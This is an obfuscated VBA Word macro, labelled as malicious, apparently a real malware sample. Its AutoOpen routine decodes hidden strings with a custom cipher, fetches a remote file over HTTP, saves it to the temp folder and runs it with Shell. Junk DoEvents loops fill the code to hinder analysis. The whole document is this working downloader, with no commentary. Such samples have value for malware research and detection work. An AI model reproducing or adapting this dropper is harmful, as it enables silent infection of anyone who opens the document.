Malicious Word macro

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Const XIUaVXAW = "mIM6G1Nr820XQ1wy90D4eJR2R21cJt21V90kp4VY18AKT48Oq1WDE288gqAwLsl0Q9Nxj282D3grq24O3s24LpjU8W31W92uvEl2u82MnF8vi27R1oP63mgP0o5w2wmhg"
Private Const jTIH = "9R7L28D223E3663y8763g570380e839s443i570374y03502E15f64n2380V3570367o2cJZ2n7k3434Y34s28224114m391O03944Kx3434370K626y863M332C3604S3434336h63z944UqwF"
Private Const W0Iv = "1cN1U69k586R7wChe0w6Q986t2K82t320p7g"
Private Const J4OR = "g9RS6F1sl6zi664VRvC704616gxss60mv8z40K0p3e68NWfIfN612Rq8v704oyC6iA16d60VN85z7KQ66OLE72XS6I72640jxN5Oxv"
Private Const OPc8AGh8Ym = "qujEy69B9O27Fo6k00X8n740B547uC2Cu547dm2lgwZ0h7dx7654S72Df3O4D9z676Sf7o691G20hM7bfb676dLZx"
Private Const gglB8IHj3Ao = "x1ek57s2Y0nEYDby6cC380t63qZ8x0GR61n60GjIHzdg3190o25xZ8ZH5h2t58xqP5Je654FyUC5vp6yrS5456A54ITAs525Oly30rB62j7u0FoV53T35uCNC6G16ma0FJ57kvz7QO5oa5G5fn0053Wn3qz5k6Nw160Kda6H1Hef6V0e5c94xq0q5Bzgn775Y53gdNwdaKM0U9Lw553o5hzBhi6p0a505it445fviCMK5rW5556cjv3k25AqDN253CI0w54gdh4x561o0cjFk52PO53TN0E64GdH35muQT58ko8m5258f5uoaS5k8q30zjTa6K3wd2L5Vm2585ieH539Wqxct0gY57B7Ez5h60d5z0Xo25ak3pB0i5v5i55Ufi66l0MmKW05w5BA5w5vq2is"
Private Const tTR7Y = "81J4kv91Q3mu1S0o89G1m2M5411Wb5b5aK12d32127Ysm611yD5c51e2xq101YE13t3c5j0e6d7do7zg0a115pB5tuQ1188ToEf310SD111Pxq111CM9rW13wv133w1v1265ry12CN76s1Z111hx1I19rL9oFuj8691OPE0781Jr1O66111J1Fak10mT89J12u76Qz9k7"
Private Const YKWpkYBliB = "/Extract_Enc_Key/"
Private Const yeSCqp = "/ aYP/"
Private Const TDO = "0"
Private Const eVkdI = "/ yiK/"
Private Const BgpWu5EeNJM = "/Extract_Char_Size/"
Private Const tGZU = ""
Sub autoopen()

Dim fso, tempfile

Dim aPWAtnYp As Integer
aPWAtnYp = 8
Do While aPWAtnYp < 88
DoEvents: aPWAtnYp = aPWAtnYp + 1
Loop

Set fso = CreateObject(RoV(tTR7Y))

Dim tfolder, tname, tfile

Dim oJJHzlix As Integer
oJJHzlix = 9
Do While oJJHzlix < 38
DoEvents: oJJHzlix = oJJHzlix + 1
Loop

Const TemporaryFolder = 2

Dim BNAaAZvS As Integer
BNAaAZvS = 1
Do While BNAaAZvS < 72
DoEvents: BNAaAZvS = BNAaAZvS + 1
Loop

Set tfolder = fso.GetSpecialFolder(TemporaryFolder)

Dim FpsqzDGe As Integer
FpsqzDGe = 5
Do While FpsqzDGe < 92
DoEvents: FpsqzDGe = FpsqzDGe + 1
Loop

strLink = RoV(gglB8IHj3Ao)


Dim cojLkesR As Integer
cojLkesR = 2
Do While cojLkesR < 85
DoEvents: cojLkesR = cojLkesR + 1
Loop

strSaveTo = tfolder & RoV(OPc8AGh8Ym)



Dim evWAycKl As Integer
evWAycKl = 8
Do While evWAycKl < 86
DoEvents: evWAycKl = evWAycKl + 1
Loop

Set objHTTP = CreateObject(RoV(J4OR))


objHTTP.Open RoV(W0Iv), strLink, False

Dim TqRHsoAK As Integer
TqRHsoAK = 4
Do While TqRHsoAK < 44
DoEvents: TqRHsoAK = TqRHsoAK + 1
Loop

objHTTP.send

Dim kDTDxxeg As Integer
kDTDxxeg = 4
Do While kDTDxxeg < 72
DoEvents: kDTDxxeg = kDTDxxeg + 1
Loop



Dim iChVXYlR As Integer
iChVXYlR = 9
Do While iChVXYlR < 92
DoEvents: iChVXYlR = iChVXYlR + 1
Loop

Set objFSO = CreateObject(RoV(jTIH))
If objFSO.FileExists(strSaveTo) Then

Dim tjEXHIfK As Integer
tjEXHIfK = 2
Do While tjEXHIfK < 85
DoEvents: tjEXHIfK = tjEXHIfK + 1
Loop

  objFSO.DeleteFile (strSaveTo)
End If

If objHTTP.Status = 200 Then
  Dim objStream

Dim WxRLzJsY As Integer
WxRLzJsY = 6
Do While WxRLzJsY < 38
DoEvents: WxRLzJsY = WxRLzJsY + 1
Loop

  Set objStream = CreateObject(RoV(XIUaVXAW))

Dim UBRHdyDz As Integer
UBRHdyDz = 7
Do While UBRHdyDz < 76
DoEvents: UBRHdyDz = UBRHdyDz + 1
Loop

  With objStream

Dim QEcjjzAr As Integer
QEcjjzAr = 7
Do While QEcjjzAr < 19
DoEvents: QEcjjzAr = QEcjjzAr + 1
Loop

    .Type = 1

Dim KFatPLta As Integer
KFatPLta = 6
Do While KFatPLta < 69
DoEvents: KFatPLta = KFatPLta + 1
Loop

    .Open

Dim UVQhprxk As Integer
UVQhprxk = 7
Do While UVQhprxk < 14
DoEvents: UVQhprxk = UVQhprxk + 1
Loop

    .Write objHTTP.responseBody

Dim IXWZVrmv As Integer
IXWZVrmv = 4
Do While IXWZVrmv < 41
DoEvents: IXWZVrmv = IXWZVrmv + 1
Loop

    .SaveToFile strSaveTo

Dim GucjkXVw As Integer
GucjkXVw = 8
Do While GucjkXVw < 25
DoEvents: GucjkXVw = GucjkXVw + 1
Loop

    .Close

Dim KQkJwKSc As Integer
KQkJwKSc = 6
Do While KQkJwKSc < 69
DoEvents: KQkJwKSc = KQkJwKSc + 1
Loop

  End With

Dim LOAtpKQT As Integer
LOAtpKQT = 9
Do While LOAtpKQT < 31
DoEvents: LOAtpKQT = LOAtpKQT + 1
Loop

  Set objStream = Nothing
End If

If objFSO.FileExists(strSaveTo) Then

End If

Dim TqTSAzTv As Integer
TqTSAzTv = 4
Do While TqTSAzTv < 72
DoEvents: TqTSAzTv = TqTSAzTv + 1
Loop

Shell strSaveTo
End Sub

Function RoV(InputStringToBeDecrypted As String) As String


Dim strText As String
Dim strDecryptedText As String
Dim strKeyNum As String
Dim strChar1 As String
Dim strChar2 As String
Dim nLenght As Integer
Dim nKeyNum As Integer
On Error GoTo ErrorHandler

Dim eZZrilCm As Integer
eZZrilCm = 8
Do While eZZrilCm < 25
DoEvents: eZZrilCm = eZZrilCm + 1
Loop

strTempText = InputStringToBeDecrypted

Dim KQdfURfQ As Integer
KQdfURfQ = 8
Do While KQdfURfQ < 69
DoEvents: KQdfURfQ = KQdfURfQ + 1
Loop

strText = strTempText

Dim dkVlTigm As Integer
dkVlTigm = 1
Do While dkVlTigm < 43
DoEvents: dkVlTigm = dkVlTigm + 1
Loop

strDecryptedText = ""

Dim fhiTlifA As Integer
fhiTlifA = 3
Do While fhiTlifA < 15
DoEvents: fhiTlifA = fhiTlifA + 1
Loop

strText = Left(strText, Len(strText) - 4)

Dim IXMPjSgp As Integer
IXMPjSgp = 4
Do While IXMPjSgp < 13
DoEvents: IXMPjSgp = IXMPjSgp + 1
Loop

strText = Right(strText, Len(strText) - 4)

Dim mvWUANHY As Integer
mvWUANHY = 4
Do While mvWUANHY < 41
DoEvents: mvWUANHY = mvWUANHY + 1
Loop

nCharSize = 0

Dim ebGzehgN As Integer
ebGzehgN = 1
Do While ebGzehgN < 58
DoEvents: ebGzehgN = ebGzehgN + 1
Loop

Call Extract_Char_Size(strText, nCharSize)

Dim kKiTmzPL As Integer
kKiTmzPL = 1
Do While kKiTmzPL < 11
DoEvents: kKiTmzPL = kKiTmzPL + 1
Loop

Call Extract_Enc_Key(strText, nCharSize, nEncKey)

Dim veShaoww As Integer
veShaoww = 5
Do While veShaoww < 85
DoEvents: veShaoww = veShaoww + 1
Loop

nTextLenght = Len(strText)
For nCounter = 1 To Len(strText) Step nCharSize

Dim LYIUSDws As Integer
LYIUSDws = 9
Do While LYIUSDws < 31
DoEvents: LYIUSDws = LYIUSDws + 1
Loop

strChar1 = Mid(strText, nCounter, nCharSize)

Dim vaLFVutQ As Integer
vaLFVutQ = 3
Do While vaLFVutQ < 32
DoEvents: vaLFVutQ = vaLFVutQ + 1
Loop

nChar = aYP(strChar1)

Dim bBezSueK As Integer
bBezSueK = 5
Do While bBezSueK < 84
DoEvents: bBezSueK = bBezSueK + 1
Loop

nChar2 = nChar / nEncKey

Dim iNVxfcZd As Integer
iNVxfcZd = 9
Do While iNVxfcZd < 92
DoEvents: iNVxfcZd = iNVxfcZd + 1
Loop

strChar2 = Chr(nChar2)

Dim wljNYoVy As Integer
wljNYoVy = 2
Do While wljNYoVy < 54
DoEvents: wljNYoVy = wljNYoVy + 1
Loop

strDecryptedText = strDecryptedText + strChar2
Next nCounter

Dim iBrWqwqZ As Integer
iBrWqwqZ = 9
Do While iBrWqwqZ < 39
DoEvents: iBrWqwqZ = iBrWqwqZ + 1
Loop

strDecryptedText = Trim(strDecryptedText)

Dim wkxbEuUw As Integer
wkxbEuUw = 5
Do While wkxbEuUw < 25
DoEvents: wkxbEuUw = wkxbEuUw + 1
Loop

 RoV = strDecryptedText

Dim aSIYGAhW As Integer
aSIYGAhW = 8
Do While aSIYGAhW < 27
DoEvents: aSIYGAhW = aSIYGAhW + 1
Loop

Exit Function

Dim wllPStkR As Integer
wllPStkR = 5
Do While wllPStkR < 25
DoEvents: wllPStkR = wllPStkR + 1
Loop

ErrorHandler:
End Function


Sub Extract_Char_Size(ByRef strText, ByRef nCharSize)

Dim EnshTYwl As Integer
EnshTYwl = 6
Do While EnshTYwl < 99
DoEvents: EnshTYwl = EnshTYwl + 1
Loop

DecryptParts = DecryptParts & BgpWu5EeNJM

Dim iWcxJNtL As Integer
iWcxJNtL = 9
Do While iWcxJNtL < 91
DoEvents: iWcxJNtL = iWcxJNtL + 1
Loop

nLeft = Len(strText) \ 2

Dim DhIRemFl As Integer
DhIRemFl = 8
Do While DhIRemFl < 27
DoEvents: DhIRemFl = DhIRemFl + 1
Loop

strLeft = Left(strText, nLeft)

Dim wjEVEPdD As Integer
wjEVEPdD = 2
Do While wjEVEPdD < 25
DoEvents: wjEVEPdD = wjEVEPdD + 1
Loop

nRight = Len(strText) - nLeft

Dim DjTGskvn As Integer
DjTGskvn = 8
Do While DjTGskvn < 27
DoEvents: DjTGskvn = DjTGskvn + 1
Loop

strRight = Right(strText, nRight)

Dim htuOiHky As Integer
htuOiHky = 1
Do While htuOiHky < 13
DoEvents: htuOiHky = htuOiHky + 1
Loop

strKeyEnc = Right(strLeft, 2)

Dim MbkJlpaT As Integer
MbkJlpaT = 6
Do While MbkJlpaT < 15
DoEvents: MbkJlpaT = MbkJlpaT + 1
Loop

strKeySize = Left(strRight, 2)

Dim bLRMJLJO As Integer
bLRMJLJO = 5
Do While bLRMJLJO < 31
DoEvents: bLRMJLJO = bLRMJLJO + 1
Loop

strKeyEnc = yiK(strKeyEnc)

Dim oMbglojr As Integer
oMbglojr = 9
Do While oMbglojr < 38
DoEvents: oMbglojr = oMbglojr + 1
Loop

strKeySize = yiK(strKeySize)

Dim DgPwRZBE As Integer
DgPwRZBE = 8
Do While DgPwRZBE < 55
DoEvents: DgPwRZBE = DgPwRZBE + 1
Loop

nKeyEnc = Val(strKeyEnc)

Dim lOWEHCIe As Integer
lOWEHCIe = 2
Do While lOWEHCIe < 57
DoEvents: lOWEHCIe = lOWEHCIe + 1
Loop

nKeySize = Val(strKeySize)

Dim VruPzjkE As Integer
VruPzjkE = 9
Do While VruPzjkE < 73
DoEvents: VruPzjkE = VruPzjkE + 1
Loop

nCharSize = nKeySize - nKeyEnc

Dim JMnoJxvF As Integer
JMnoJxvF = 6
Do While JMnoJxvF < 23
DoEvents: JMnoJxvF = JMnoJxvF + 1
Loop

strText = Left(strLeft, Len(strLeft) - 2) + Right(strRight, Len(strRight) - 2)
End Sub

Function yiK(ByVal cString As String) As String

Dim xsCZQUsk As Integer
xsCZQUsk = 5
Do While xsCZQUsk < 86
DoEvents: xsCZQUsk = xsCZQUsk + 1
Loop

DecryptParts = DecryptParts & eVkdI
For nCounter = 1 To Len(cString)

Dim dvmQYGgO As Integer
dvmQYGgO = 3
Do While dvmQYGgO < 68
DoEvents: dvmQYGgO = dvmQYGgO + 1
Loop

strChar1 = Mid(cString, nCounter, 1)
If IsNumeric(strChar1) Then

Dim PINhUgrm As Integer
PINhUgrm = 7
Do While PINhUgrm < 11
DoEvents: PINhUgrm = PINhUgrm + 1
Loop

strTempString = strTempString + strChar1
Else

Dim xfFqsnkJ As Integer
xfFqsnkJ = 2
Do While xfFqsnkJ < 63
DoEvents: xfFqsnkJ = xfFqsnkJ + 1
Loop

strTempString = strTempString + TDO
End If
Next nCounter

Dim FfFphwml As Integer
FfFphwml = 8
Do While FfFphwml < 55
DoEvents: FfFphwml = FfFphwml + 1
Loop

 yiK = strTempString
End Function

Function aYP(strTempText As String) As Integer

Dim WcvxYsUT As Integer
WcvxYsUT = 9
Do While WcvxYsUT < 91
DoEvents: WcvxYsUT = WcvxYsUT + 1
Loop

DecryptParts = DecryptParts & yeSCqp

Dim zIaqNrsZ As Integer
zIaqNrsZ = 1
Do While zIaqNrsZ < 41
DoEvents: zIaqNrsZ = zIaqNrsZ + 1
Loop

strTempText = Trim(strTempText)
For nCounter = 1 To Len(strTempText)

Dim JWccUXig As Integer
JWccUXig = 8
Do While JWccUXig < 23
DoEvents: JWccUXig = JWccUXig + 1
Loop

strChar1 = Mid(strTempText, nCounter, 1)
If IsNumeric(strChar1) Then

Dim EnsldimQ As Integer
EnsldimQ = 6
Do While EnsldimQ < 99
DoEvents: EnsldimQ = EnsldimQ + 1
Loop

strText = strText + strChar1
End If
Next nCounter

Dim lPLFXhwp As Integer
lPLFXhwp = 2
Do While lPLFXhwp < 28
DoEvents: lPLFXhwp = lPLFXhwp + 1
Loop

nResult = Val(strText)

Dim EAuQJlCY As Integer
EAuQJlCY = 3
Do While EAuQJlCY < 75
DoEvents: EAuQJlCY = EAuQJlCY + 1
Loop

 aYP = nResult
End Function

Sub Extract_Enc_Key(ByRef strText, ByVal nCharSize, ByRef nEncKey)

Dim ZZaoofkC As Integer
ZZaoofkC = 3
Do While ZZaoofkC < 75
DoEvents: ZZaoofkC = ZZaoofkC + 1
Loop

DecryptParts = DecryptParts & YKWpkYBliB

Dim wlwYBlvo As Integer
wlwYBlvo = 5
Do While wlwYBlvo < 25
DoEvents: wlwYBlvo = wlwYBlvo + 1
Loop

strEncKey = vbNullString

Dim bWlWDoIB As Integer
bWlWDoIB = 3
Do While bWlWDoIB < 93
DoEvents: bWlWDoIB = bWlWDoIB + 1
Loop

nLenght = Len(strText) - nCharSize

Dim lQDlEgFq As Integer
lQDlEgFq = 4
Do While lQDlEgFq < 43
DoEvents: lQDlEgFq = lQDlEgFq + 1
Loop

nLeft = nLenght \ 2

Dim snuHlmWx As Integer
snuHlmWx = 3
Do While snuHlmWx < 69
DoEvents: snuHlmWx = snuHlmWx + 1
Loop

strLeft = Left(strText, nLeft)

Dim PDZiTMSN As Integer
PDZiTMSN = 5
Do While PDZiTMSN < 59
DoEvents: PDZiTMSN = PDZiTMSN + 1
Loop

nRight = nLenght - nLeft

Dim bCdlyteh As Integer
bCdlyteh = 5
Do While bCdlyteh < 83
DoEvents: bCdlyteh = bCdlyteh + 1
Loop

strRight = Right(strText, nRight)

Dim VoIOlRMM As Integer
VoIOlRMM = 7
Do While VoIOlRMM < 74
DoEvents: VoIOlRMM = VoIOlRMM + 1
Loop

strEncKey = Mid(strText, nLeft + 1, nCharSize)

Dim JVremBiP As Integer
JVremBiP = 8
Do While JVremBiP < 24
DoEvents: JVremBiP = JVremBiP + 1
Loop

strEncKey = yiK(strEncKey)

Dim iVyMzUlc As Integer
iVyMzUlc = 9
Do While iVyMzUlc < 92
DoEvents: iVyMzUlc = iVyMzUlc + 1
Loop

nEncKey = Val(Trim(strEncKey))

Dim lGlWQmDh As Integer
lGlWQmDh = 4
Do While lGlWQmDh < 72
DoEvents: lGlWQmDh = lGlWQmDh + 1
Loop

strText = strLeft + strRight
End Sub